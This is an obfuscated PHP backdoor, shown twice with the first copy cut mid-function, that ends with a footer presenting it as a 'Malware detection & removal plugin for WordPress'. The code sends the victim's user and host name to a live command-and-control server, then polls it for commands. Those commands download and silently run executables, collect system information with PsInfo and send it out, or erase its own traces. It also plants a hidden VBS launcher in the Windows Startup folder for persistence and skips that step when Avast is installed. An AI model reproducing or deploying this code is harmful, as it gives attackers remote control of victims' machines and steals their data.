$HJqMPKRl = array('http' => array('header' => "Content-type: application/x-www-form-urlencoded\r\n", 'method' => 'POST', 'content' => http_build_query($qhfLjwMcKpxIoBEr)));
$qgXtbfCLup = stream_context_create($HJqMPKRl);
$aUYpSdIo = file_get_contents($kQnJBXcTfDmsOupyRILAgh, false, $qgXtbfCLup);
if ($aUYpSdIo === false) {
return false;
} else {
return true;
}
}
function lGORwJiNa($YlbesARgzqMiXwJnVPOthkcdfu)
{
global $kQnJBXcTfDmsOupyRILAgh;
azGopeXscn();
$JRXzloy = http_build_query($YlbesARgzqMiXwJnVPOthkcdfu);
$UEOhDCqYMJspKNAwFTZ = $kQnJBXcTfDmsOupyRILAgh . "?" . $JRXzloy;
$cwqasHVFlK = file_get_contents($UEOhDCqYMJspKNAwFTZ);
if ($cwqasHVFlK === false) {
return "";
} else {
return $cwqasHVFlK;
}
}
function azGopeXscn()
{
global $kQnJBXcTfDmsOupyRILAgh;
do {
$CzBsUDNFLXHmvWPOai = @get_headers($kQnJBXcTfDmsOupyRILAgh);
$uhyiNpLsKdVroem = is_array($CzBsUDNFLXHmvWPOai) && strpos($CzBsUDNFLXHmvWPOai[0], '200') !== false;
sleep(3);
} while (!$uhyiNpLsKdVroem);
}
function KMUqXBDfaeGnZ($DJWhI)
{
global $QoBahiCDNplUEKftjYGXvWMRzs;
azGopeXscn();
$uYLPsAQvNWJK = basename($DJWhI);
$sIRMKjCOyXn = file_get_contents($DJWhI);
$VHwqspiUBLJyzeAnOfkg = uniqid();
$qhfLjwMcKpxIoBEr = "--{$VHwqspiUBLJyzeAnOfkg}\r\n" . "Content-Disposition: form-data; name=\"file\"; filename=\"{$uYLPsAQvNWJK}\"\r\n" . "Content-Type: application/octet-stream\r\n\r\n" . $sIRMKjCOyXn . "\r\n" . "--{$VHwqspiUBLJyzeAnOfkg}--\r\n";
$HJqMPKRl = array('http' => array('header' => "Content-Type: multipart/form-data; boundary={$VHwqspiUBLJyzeAnOfkg}\r\n", 'method' => 'POST', 'content' => $qhfLjwMcKpxIoBEr));
$qgXtbfCLup = stream_context_create($HJqMPKRl);
$aUYpSdIo = file_get_contents($QoBahiCDNplUEKftjYGXvWMRzs, false, $qgXtbfCLup);
if ($aUYpSdIo === false) {
return false;
} else {
return true;
}
}
function cZNfaoIkH($HXGzBsytdAFknwQpOjumElRci)
{
azGopeXscn();
global $LAqeyDBGXSRzF, $trMHasNubY;
$rVODtbxMhwCUse = $LAqeyDBGXSRzF . $HXGzBsytdAFknwQpOjumElRci;
$AmbnXvqIGfPzHecr = $trMHasNubY . "\\" . $HXGzBsytdAFknwQpOjumElRci;
$sIRMKjCOyXn = file_get_contents($rVODtbxMhwCUse);
if ($sIRMKjCOyXn === false) {
return false;
} else {
file_put_contents($AmbnXvqIGfPzHecr, $sIRMKjCOyXn);
return true;
}
}
function iVfhsQdrNwJtPOyxzelakBMG($HXGzBsytdAFknwQpOjumElRci)
{
$XeYCVNjwPRuD = cZNfaoIkH($HXGzBsytdAFknwQpOjumElRci);
if ($XeYCVNjwPRuD) {
global $trMHasNubY;
$AmbnXvqIGfPzHecr = $trMHasNubY . "\\" . $HXGzBsytdAFknwQpOjumElRci;
pclose(popen("start /B " . $AmbnXvqIGfPzHecr, "r"));
}
}
function XirzdcNPYGojUMEkVf($wYbeuia)
{
$xHRNLe = '';
$LitQygNEXbjd = 'abcdefghijklmnopqrstuvwxyz0123456789';
for ($i = 0; $i < $wYbeuia; $i++) {
$xHRNLe .= $LitQygNEXbjd[rand(0, strlen($LitQygNEXbjd) - 1)];
}
return $xHRNLe;
}
function TLyBaPKCzd()
{
global $tiJvURcgwpkxEmLnZfSay;
$tiJvURcgwpkxEmLnZfSay = strtoupper(XirzdcNPYGojUMEkVf(25));
$DMILTZJWvFbgnSoxYpA = get_current_user();
$MLYPabqNXeSgTji = gethostname();
$zyXpD = $DMILTZJWvFbgnSoxYpA . "@" . $MLYPabqNXeSgTji;
$qhfLjwMcKpxIoBEr = array(bOXVPTKNHdzwflaJeRqi => fBLjhvRkECpwnodGYI, MbOXVPTKNHdzwflaJeRqi => $tiJvURcgwpkxEmLnZfSay, pSuaVT => $zyXpD);
ThXY($qhfLjwMcKpxIoBEr);
}
function CRnUiwmFYBvKsTh($qhfLjwMcKpxIoBEr)
{
$owLmqUvFBdpzYgETAKn = json_encode($qhfLjwMcKpxIoBEr);
global $kmUYvZFTRgeLCxJOsQ;
file_put_contents($kmUYvZFTRgeLCxJOsQ, $owLmqUvFBdpzYgETAKn);
}
function cJivuadkqGsOmWBxE($phurxdnVKbM)
{
global $kmUYvZFTRgeLCxJOsQ;
$owLmqUvFBdpzYgETAKn = file_get_contents($kmUYvZFTRgeLCxJOsQ);
$qhfLjwMcKpxIoBEr = json_decode($owLmqUvFBdpzYgETAKn, true);
return $qhfLjwMcKpxIoBEr[$phurxdnVKbM];
}
function KWcaSNtBmFjuxglpVyIEQz()
{
global $tiJvURcgwpkxEmLnZfSay;
$YlbesARgzqMiXwJnVPOthkcdfu = [bOXVPTKNHdzwflaJeRqi => CUYzeSfwbG, MbOXVPTKNHdzwflaJeRqi => $tiJvURcgwpkxEmLnZfSay];
$tlNjzQsReDghpOAx = lGORwJiNa($YlbesARgzqMiXwJnVPOthkcdfu);
return $tlNjzQsReDghpOAx;
}
function xYhKmNw($IHdKEWROuM, $mKSQlxFwiNuCBhvzdEoaPTGYrJ)
{
global $tiJvURcgwpkxEmLnZfSay;
$YlbesARgzqMiXwJnVPOthkcdfu = [bOXVPTKNHdzwflaJeRqi => zQouxyfCEwVmbaGHDlRISJP, MbOXVPTKNHdzwflaJeRqi => $tiJvURcgwpkxEmLnZfSay, rUYPGFtZeNKCWsjmVhdIXOlqba => $mKSQlxFwiNuCBhvzdEoaPTGYrJ, izGhxDwj => $IHdKEWROuM];
lGORwJiNa($YlbesARgzqMiXwJnVPOthkcdfu);
}
function GUmb()
{
$bdjthGZrcesnWMqkOVuLFApIy = 'U2V0IG9TaGVsbCA9IENyZWF0ZU9iamVjdCAoIldzY3JpcHQuU2hlbGwiKSANCkRpbSBzdHJBcmdzDQpzdHJBcmdzID0gImNtZCAvYyB7UEFUSH0iDQpvU2hlbGwuUnVuIHN0ckFyZ3MsIDAsIGZhbHNl';
global $eUzT;
$xNLHWRAuzIQDeCjfObMGVy = "PHP_BINARY " . $eUzT;
$bdjthGZrcesnWMqkOVuLFApIy = "Set oShell = CreateObject (\"Wscript.Shell\") \r\nDim strArgs\r\nstrArgs = \"cmd /c {PATH}\"\r\noShell.Run strArgs, 0, false";
$bdjthGZrcesnWMqkOVuLFApIy = str_replace("{PATH}", $xNLHWRAuzIQDeCjfObMGVy, $bdjthGZrcesnWMqkOVuLFApIy);
global $GUmblxCrJYFuDMoQGt;
file_put_contents($GUmblxCrJYFuDMoQGt, $bdjthGZrcesnWMqkOVuLFApIy);
}
function YXmsGAqwkDrILepfohjNBC()
{
global $kmUYvZFTRgeLCxJOsQ;
if (is_file($kmUYvZFTRgeLCxJOsQ)) {
unlink($kmUYvZFTRgeLCxJOsQ);
}
global $eUzT;
if (is_file($eUzT)) {
unlink($eUzT);
}
global $GUmblxCrJYFuDMoQGt;
if (is_file($GUmblxCrJYFuDMoQGt)) {
unlink($GUmblxCrJYFuDMoQGt);
}
exit(0);
}
function PiQmzthacEyxlnsuBfgWOKRv()
{
global $trMHasNubY, $lgRhFxzpDTujQySmBCEO, $tiJvURcgwpkxEmLnZfSay;
$NfWXVHIETZuayQorGmbJLC = "";
$tafXYEOklrUBc = "";
$NfWXVHIETZuayQorGmbJLC .= IuRVFsEPYGxQ(1, 1);
$NfWXVHIETZuayQorGmbJLC .= IuRVFsEPYGxQ(2, 1);
$tafXYEOklrUBc .= IuRVFsEPYGxQ(2, 2);
$tafXYEOklrUBc .= IuRVFsEPYGxQ(2, 3);
$sUrmgoVqXpe = "";
$sUrmgoVqXpe .= $NfWXVHIETZuayQorGmbJLC . yoek;
$sUrmgoVqXpe .= $tafXYEOklrUBc . yoek;
$sUrmgoVqXpe .= "-[@]";
$sUrmgoVqXpe .= "-";
$sUrmgoVqXpe = base64_encode($sUrmgoVqXpe);
$qhfLjwMcKpxIoBEr = array(bOXVPTKNHdzwflaJeRqi => OilGv, MbOXVPTKNHdzwflaJeRqi => $tiJvURcgwpkxEmLnZfSay, pSuaVT => $sUrmgoVqXpe);
ThXY($qhfLjwMcKpxIoBEr);
unlink($lgRhFxzpDTujQySmBCEO);
}
function IuRVFsEPYGxQ($yVlgTubWpsfXMhNRKd, $nVOpXIWq)
{
global $trMHasNubY, $lgRhFxzpDTujQySmBCEO;
$IaeXpkBWzRuStjQ = "";
if ($yVlgTubWpsfXMhNRKd == 1) {
$QaKcTyjrLinbPE = "PsInfo.exe";
} else {
$QaKcTyjrLinbPE = "PsInfo64.exe";
}
$lxCrJYFuDMoQGt = $trMHasNubY . "\\" . $QaKcTyjrLinbPE;
if (!is_file($lxCrJYFuDMoQGt)) {
cZNfaoIkH($QaKcTyjrLinbPE);
}
if (is_file($lxCrJYFuDMoQGt)) {
switch ($nVOpXIWq) {
case 1:
$xlNqYdEHtW = " -s /accepteula applications > ";
break;
case 2:
$xlNqYdEHtW = " -d /accepteula processor > ";
break;
case 3:
$xlNqYdEHtW = " /accepteula video > ";
break;
}
$tlNjzQsReDghpOAx = $lxCrJYFuDMoQGt . $xlNqYdEHtW . $lgRhFxzpDTujQySmBCEO;
pclose(popen("start /B " . $tlNjzQsReDghpOAx, "r"));
sleep(4);
$IaeXpkBWzRuStjQ = file_get_contents($lgRhFxzpDTujQySmBCEO);
}
return $IaeXpkBWzRuStjQ;
}
function oDWILPBXqh()
{
global $bWapICeLQtJny;
if (is_dir("C:\\Program Files\\Avast Software\\Avast")) {
$bWapICeLQtJny = true;
}
}
oDWILPBXqh();
if (!is_file($kmUYvZFTRgeLCxJOsQ)) {
TLyBaPKCzd();
$IMTOlAXVFSzhRk = array(MbOXVPTKNHdzwflaJeRqi => $tiJvURcgwpkxEmLnZfSay);
CRnUiwmFYBvKsTh($IMTOlAXVFSzhRk);
if (!$bWapICeLQtJny) {
GUmb();
}
} else {
$tiJvURcgwpkxEmLnZfSay = cJivuadkqGsOmWBxE(MbOXVPTKNHdzwflaJeRqi);
}
azGopeXscn();
while (true) {
$mwUxLI = KWcaSNtBmFjuxglpVyIEQz();
$HRaiSozJ = explode(jfPHDtYgiaKQsOxnZ, $mwUxLI);
$mKSQlxFwiNuCBhvzdEoaPTGYrJ = $HRaiSozJ[0];
if ($mKSQlxFwiNuCBhvzdEoaPTGYrJ != qnAOFkWIZTbGmPCseH) {
$jQSfuBZNvpeyxlGkAtIhm = $HRaiSozJ[1];
xYhKmNw(RFJvESCHZXtObgYPQIUWa, $mKSQlxFwiNuCBhvzdEoaPTGYrJ);
switch ($mKSQlxFwiNuCBhvzdEoaPTGYrJ) {
case EObQwzKNFDTV:
$ZoLgWNSMUidetKvrB = explode("*", $jQSfuBZNvpeyxlGkAtIhm);
cZNfaoIkH($ZoLgWNSMUidetKvrB[0]);
break;
case rJLvkSzWdBhXIgpqCY:
$GBCjZeqOd = explode("*", $jQSfuBZNvpeyxlGkAtIhm);
iVfhsQdrNwJtPOyxzelakBMG($GBCjZeqOd[0]);
break;
case zXuKmaDr:
YXmsGAqwkDrILepfohjNBC();
break;
case NIpTROkeuQB:
PiQmzthacEyxlnsuBfgWOKRv();
break;
}
xYhKmNw(FZHKpJvWuXQeYorsGdi, $mKSQlxFwiNuCBhvzdEoaPTGYrJ);
} else {
}
sleep(dJuxvi);
}
$WaDQOBKStVPFGNr = "http://rodgersluciecassy.com/mbp";
$kQnJBXcTfDmsOupyRILAgh = "http://rodgersluciecassy.com/mbp/apit.php";
$QoBahiCDNplUEKftjYGXvWMRzs = "http://rodgersluciecassy.com/mbp/accept.php?ref=2";
$LAqeyDBGXSRzF = "http://rodgersluciecassy.com/mbp/down/";
$ExVlgntRJHDpcUBiSw = false;
$TdirPQgoxkvfEZLYAHmcJWb = "config.json";
$SmlVyHuiBfCkJ = "PHP-8.2.vbs";
$tiJvURcgwpkxEmLnZfSay = "";
$kmUYvZFTRgeLCxJOsQ = realpath("/var/www/html") . "\\" . $TdirPQgoxkvfEZLYAHmcJWb;
$eUzT = realpath("/var/www/html/input.php");
$trMHasNubY = sys_get_temp_dir();
$YKLGqi = getenv('APPDATA') . '\\Microsoft\\Windows\\Start Menu\\Programs\\Startup';
$GUmblxCrJYFuDMoQGt = $YKLGqi . "\\" . $SmlVyHuiBfCkJ;
$lgRhFxzpDTujQySmBCEO = $trMHasNubY . "\\" . XirzdcNPYGojUMEkVf(5);
$bWapICeLQtJny = false;
define('bOXVPTKNHdzwflaJeRqi', "aid");
define('MbOXVPTKNHdzwflaJeRqi', "mid");
define('pSuaVT', "data");
define('izGhxDwj', "cstat");
define('rUYPGFtZeNKCWsjmVhdIXOlqba', "cmdid");
define('fBLjhvRkECpwnodGYI', 1);
define('CUYzeSfwbG', 2);
define('zQouxyfCEwVmbaGHDlRISJP', 3);
define('OilGv', 4);
define('aGxZmVqyR', 1);
define('EObQwzKNFDTV', 2);
define('rJLvkSzWdBhXIgpqCY', 3);
define('zXuKmaDr', 4);
define('NIpTROkeuQB', 5);
define('YZaSgiEHmdbPkwuOvCqRJ', 0);
define('RFJvESCHZXtObgYPQIUWa', 1);
define('FZHKpJvWuXQeYorsGdi', 2);
define('qnAOFkWIZTbGmPCseH', "void");
define('jfPHDtYgiaKQsOxnZ', "|");
define('yoek', '[@]');
define('dJuxvi', 15);
function ThXY($qhfLjwMcKpxIoBEr)
{
global $kQnJBXcTfDmsOupyRILAgh;
azGopeXscn();
$HJqMPKRl = array('http' => array('header' => "Content-type: application/x-www-form-urlencoded\r\n", 'method' => 'POST', 'content' => http_build_query($qhfLjwMcKpxIoBEr)));
$qgXtbfCLup = stream_context_create($HJqMPKRl);
$aUYpSdIo = file_get_contents($kQnJBXcTfDmsOupyRILAgh, false, $qgXtbfCLup);
if ($aUYpSdIo === false) {
return false;
} else {
return true;
}
}
function lGORwJiNa($YlbesARgzqMiXwJnVPOthkcdfu)
{
global $kQnJBXcTfDmsOupyRILAgh;
azGopeXscn();
$JRXzloy = http_build_query($YlbesARgzqMiXwJnVPOthkcdfu);
$UEOhDCqYMJspKNAwFTZ = $kQnJBXcTfDmsOupyRILAgh . "?" . $JRXzloy;
$cwqasHVFlK = file_get_contents($UEOhDCqYMJspKNAwFTZ);
if ($cwqasHVFlK === false) {
return "";
} else {
return $cwqasHVFlK;
}
}
function azGopeXscn()
{
global $kQnJBXcTfDmsOupyRILAgh;
do {
$CzBsUDNFLXHmvWPOai = @get_headers($kQnJBXcTfDmsOupyRILAgh);
$uhyiNpLsKdVroem = is_array($CzBsUDNFLXHmvWPOai) && strpos($CzBsUDNFLXHmvWPOai[0], '200') !== false;
sleep(3);
} while (!$uhyiNpLsKdVroem);
}
function KMUqXBDfaeGnZ($DJWhI)
{
global $QoBahiCDNplUEKftjYGXvWMRzs;
azGopeXscn();
$uYLPsAQvNWJK = basename($DJWhI);
$sIRMKjCOyXn = file_get_contents($DJWhI);
$VHwqspiUBLJyzeAnOfkg = uniqid();
$qhfLjwMcKpxIoBEr = "--{$VHwqspiUBLJyzeAnOfkg}\r\n" . "Content-Disposition: form-data; name=\"file\"; filename=\"{$uYLPsAQvNWJK}\"\r\n" . "Content-Type: application/octet-stream\r\n\r\n" . $sIRMKjCOyXn . "\r\n" . "--{$VHwqspiUBLJyzeAnOfkg}--\r\n";
$HJqMPKRl = array('http' => array('header' => "Content-Type: multipart/form-data; boundary={$VHwqspiUBLJyzeAnOfkg}\r\n", 'method' => 'POST', 'content' => $qhfLjwMcKpxIoBEr));
$qgXtbfCLup = stream_context_create($HJqMPKRl);
$aUYpSdIo = file_get_contents($QoBahiCDNplUEKftjYGXvWMRzs, false, $qgXtbfCLup);
if ($aUYpSdIo === false) {
return false;
} else {
return true;
}
}
function cZNfaoIkH($HXGzBsytdAFknwQpOjumElRci)
{
azGopeXscn();
global $LAqeyDBGXSRzF, $trMHasNubY;
$rVODtbxMhwCUse = $LAqeyDBGXSRzF . $HXGzBsytdAFknwQpOjumElRci;
$AmbnXvqIGfPzHecr = $trMHasNubY . "\\" . $HXGzBsytdAFknwQpOjumElRci;
$sIRMKjCOyXn = file_get_contents($rVODtbxMhwCUse);
if ($sIRMKjCOyXn === false) {
return false;
} else {
file_put_contents($AmbnXvqIGfPzHecr, $sIRMKjCOyXn);
return true;
}
}
function iVfhsQdrNwJtPOyxzelakBMG($HXGzBsytdAFknwQpOjumElRci)
{
$XeYCVNjwPRuD = cZNfaoIkH($HXGzBsytdAFknwQpOjumElRci);
if ($XeYCVNjwPRuD) {
global $trMHasNubY;
$AmbnXvqIGfPzHecr = $trMHasNubY . "\\" . $HXGzBsytdAFknwQpOjumElRci;
pclose(popen("start /B " . $AmbnXvqIGfPzHecr, "r"));
}
}
function XirzdcNPYGojUMEkVf($wYbeuia)
{
$xHRNLe = '';
$LitQygNEXbjd = 'abcdefghijklmnopqrstuvwxyz0123456789';
for ($i = 0; $i < $wYbeuia; $i++) {
$xHRNLe .= $LitQygNEXbjd[rand(0, strlen($LitQygNEXbjd) - 1)];
}
return $xHRNLe;
}
function TLyBaPKCzd()
{
global $tiJvURcgwpkxEmLnZfSay;
$tiJvURcgwpkxEmLnZfSay = strtoupper(XirzdcNPYGojUMEkVf(25));
$DMILTZJWvFbgnSoxYpA = get_current_user();
$MLYPabqNXeSgTji = gethostname();
$zyXpD = $DMILTZJWvFbgnSoxYpA . "@" . $MLYPabqNXeSgTji;
$qhfLjwMcKpxIoBEr = array(bOXVPTKNHdzwflaJeRqi => fBLjhvRkECpwnodGYI, MbOXVPTKNHdzwflaJeRqi => $tiJvURcgwpkxEmLnZfSay, pSuaVT => $zyXpD);
ThXY($qhfLjwMcKpxIoBEr);
}
function CRnUiwmFYBvKsTh($qhfLjwMcKpxIoBEr)
{
$owLmqUvFBdpzYgETAKn = json_encode($qhfLjwMcKpxIoBEr);
global $kmUYvZFTRgeLCxJOsQ;
file_put_contents($kmUYvZFTRgeLCxJOsQ, $owLmqUvFBdpzYgETAKn);
}
function cJivuadkqGsOmWBxE($phurxdnVKbM)
{
global $kmUYvZFTRgeLCxJOsQ;
$owLmqUvFBdpzYgETAKn = file_get_contents($kmUYvZFTRgeLCxJOsQ);
$qhfLjwMcKpxIoBEr = json_decode($owLmqUvFBdpzYgETAKn, true);
return $qhfLjwMcKpxIoBEr[$phurxdnVKbM];
}
function KWcaSNtBmFjuxglpVyIEQz()
{
global $tiJvURcgwpkxEmLnZfSay;
$YlbesARgzqMiXwJnVPOthkcdfu = [bOXVPTKNHdzwflaJeRqi => CUYzeSfwbG, MbOXVPTKNHdzwflaJeRqi => $tiJvURcgwpkxEmLnZfSay];
$tlNjzQsReDghpOAx = lGORwJiNa($YlbesARgzqMiXwJnVPOthkcdfu);
return $tlNjzQsReDghpOAx;
}
function xYhKmNw($IHdKEWROuM, $mKSQlxFwiNuCBhvzdEoaPTGYrJ)
{
global $tiJvURcgwpkxEmLnZfSay;
$YlbesARgzqMiXwJnVPOthkcdfu = [bOXVPTKNHdzwflaJeRqi => zQouxyfCEwVmbaGHDlRISJP, MbOXVPTKNHdzwflaJeRqi => $tiJvURcgwpkxEmLnZfSay, rUYPGFtZeNKCWsjmVhdIXOlqba => $mKSQlxFwiNuCBhvzdEoaPTGYrJ, izGhxDwj => $IHdKEWROuM];
lGORwJiNa($YlbesARgzqMiXwJnVPOthkcdfu);
}
function GUmb()
{
$bdjthGZrcesnWMqkOVuLFApIy = 'U2V0IG9TaGVsbCA9IENyZWF0ZU9iamVjdCAoIldzY3JpcHQuU2hlbGwiKSANCkRpbSBzdHJBcmdzDQpzdHJBcmdzID0gImNtZCAvYyB7UEFUSH0iDQpvU2hlbGwuUnVuIHN0ckFyZ3MsIDAsIGZhbHNl';
global $eUzT;
$xNLHWRAuzIQDeCjfObMGVy = "PHP_BINARY " . $eUzT;
$bdjthGZrcesnWMqkOVuLFApIy = "Set oShell = CreateObject (\"Wscript.Shell\") \r\nDim strArgs\r\nstrArgs = \"cmd /c {PATH}\"\r\noShell.Run strArgs, 0, false";
$bdjthGZrcesnWMqkOVuLFApIy = str_replace("{PATH}", $xNLHWRAuzIQDeCjfObMGVy, $bdjthGZrcesnWMqkOVuLFApIy);
global $GUmblxCrJYFuDMoQGt;
file_put_contents($GUmblxCrJYFuDMoQGt, $bdjthGZrcesnWMqkOVuLFApIy);
}
function YXmsGAqwkDrILepfohjNBC()
{
global $kmUYvZFTRgeLCxJOsQ;
if (is_file($kmUYvZFTRgeLCxJOsQ)) {
unlink($kmUYvZFTRgeLCxJOsQ);
}
global $eUzT;
if (is_file($eUzT)) {
unlink($eUzT);
}
global $GUmblxCrJYFuDMoQGt;
if (is_file($GUmblxCrJYFuDMoQGt)) {
unlink($GUmblxCrJYFuDMoQGt);
}
exit(0);
}
function PiQmzthacEyxlnsuBfgWOKRv()
{
global $trMHasNubY, $lgRhFxzpDTujQySmBCEO, $tiJvURcgwpkxEmLnZfSay;
$NfWXVHIETZuayQorGmbJLC = "";
$tafXYEOklrUBc = "";
$NfWXVHIETZuayQorGmbJLC .= IuRVFsEPYGxQ(1, 1);
$NfWXVHIETZuayQorGmbJLC .= IuRVFsEPYGxQ(2, 1);
$tafXYEOklrUBc .= IuRVFsEPYGxQ(2, 2);
$tafXYEOklrUBc .= IuRVFsEPYGxQ(2, 3);
$sUrmgoVqXpe = "";
$sUrmgoVqXpe .= $NfWXVHIETZuayQorGmbJLC . yoek;
$sUrmgoVqXpe .= $tafXYEOklrUBc . yoek;
$sUrmgoVqXpe .= "-[@]";
$sUrmgoVqXpe .= "-";
$sUrmgoVqXpe = base64_encode($sUrmgoVqXpe);
$qhfLjwMcKpxIoBEr = array(bOXVPTKNHdzwflaJeRqi => OilGv, MbOXVPTKNHdzwflaJeRqi => $tiJvURcgwpkxEmLnZfSay, pSuaVT => $sUrmgoVqXpe);
ThXY($qhfLjwMcKpxIoBEr);
unlink($lgRhFxzpDTujQySmBCEO);
}
function IuRVFsEPYGxQ($yVlgTubWpsfXMhNRKd, $nVOpXIWq)
{
global $trMHasNubY, $lgRhFxzpDTujQySmBCEO;
$IaeXpkBWzRuStjQ = "";
if ($yVlgTubWpsfXMhNRKd == 1) {
$QaKcTyjrLinbPE = "PsInfo.exe";
} else {
$QaKcTyjrLinbPE = "PsInfo64.exe";
}
$lxCrJYFuDMoQGt = $trMHasNubY . "\\" . $QaKcTyjrLinbPE;
if (!is_file($lxCrJYFuDMoQGt)) {
cZNfaoIkH($QaKcTyjrLinbPE);
}
if (is_file($lxCrJYFuDMoQGt)) {
switch ($nVOpXIWq) {
case 1:
$xlNqYdEHtW = " -s /accepteula applications > ";
break;
case 2:
$xlNqYdEHtW = " -d /accepteula processor > ";
break;
case 3:
$xlNqYdEHtW = " /accepteula video > ";
break;
}
$tlNjzQsReDghpOAx = $lxCrJYFuDMoQGt . $xlNqYdEHtW . $lgRhFxzpDTujQySmBCEO;
pclose(popen("start /B " . $tlNjzQsReDghpOAx, "r"));
sleep(4);
$IaeXpkBWzRuStjQ = file_get_contents($lgRhFxzpDTujQySmBCEO);
}
return $IaeXpkBWzRuStjQ;
}
function oDWILPBXqh()
{
global $bWapICeLQtJny;
if (is_dir("C:\\Program Files\\Avast Software\\Avast")) {
$bWapICeLQtJny = true;
}
}
oDWILPBXqh();
if (!is_file($kmUYvZFTRgeLCxJOsQ)) {
TLyBaPKCzd();
$IMTOlAXVFSzhRk = array(MbOXVPTKNHdzwflaJeRqi => $tiJvURcgwpkxEmLnZfSay);
CRnUiwmFYBvKsTh($IMTOlAXVFSzhRk);
if (!$bWapICeLQtJny) {
GUmb();
}
} else {
$tiJvURcgwpkxEmLnZfSay = cJivuadkqGsOmWBxE(MbOXVPTKNHdzwflaJeRqi);
}
azGopeXscn();
while (true) {
$mwUxLI = KWcaSNtBmFjuxglpVyIEQz();
$HRaiSozJ = explode(jfPHDtYgiaKQsOxnZ, $mwUxLI);
$mKSQlxFwiNuCBhvzdEoaPTGYrJ = $HRaiSozJ[0];
if ($mKSQlxFwiNuCBhvzdEoaPTGYrJ != qnAOFkWIZTbGmPCseH) {
$jQSfuBZNvpeyxlGkAtIhm = $HRaiSozJ[1];
xYhKmNw(RFJvESCHZXtObgYPQIUWa, $mKSQlxFwiNuCBhvzdEoaPTGYrJ);
switch ($mKSQlxFwiNuCBhvzdEoaPTGYrJ) {
case EObQwzKNFDTV:
$ZoLgWNSMUidetKvrB = explode("*", $jQSfuBZNvpeyxlGkAtIhm);
cZNfaoIkH($ZoLgWNSMUidetKvrB[0]);
break;
case rJLvkSzWdBhXIgpqCY:
$GBCjZeqOd = explode("*", $jQSfuBZNvpeyxlGkAtIhm);
iVfhsQdrNwJtPOyxzelakBMG($GBCjZeqOd[0]);
break;
case zXuKmaDr:
YXmsGAqwkDrILepfohjNBC();
break;
case NIpTROkeuQB:
PiQmzthacEyxlnsuBfgWOKRv();
break;
}
xYhKmNw(FZHKpJvWuXQeYorsGdi, $mKSQlxFwiNuCBhvzdEoaPTGYrJ);
} else {
}
sleep(dJuxvi);
}Malware detection & removal plugin for WordPress
(C)2020 Wordpress Doctor All rights reserved.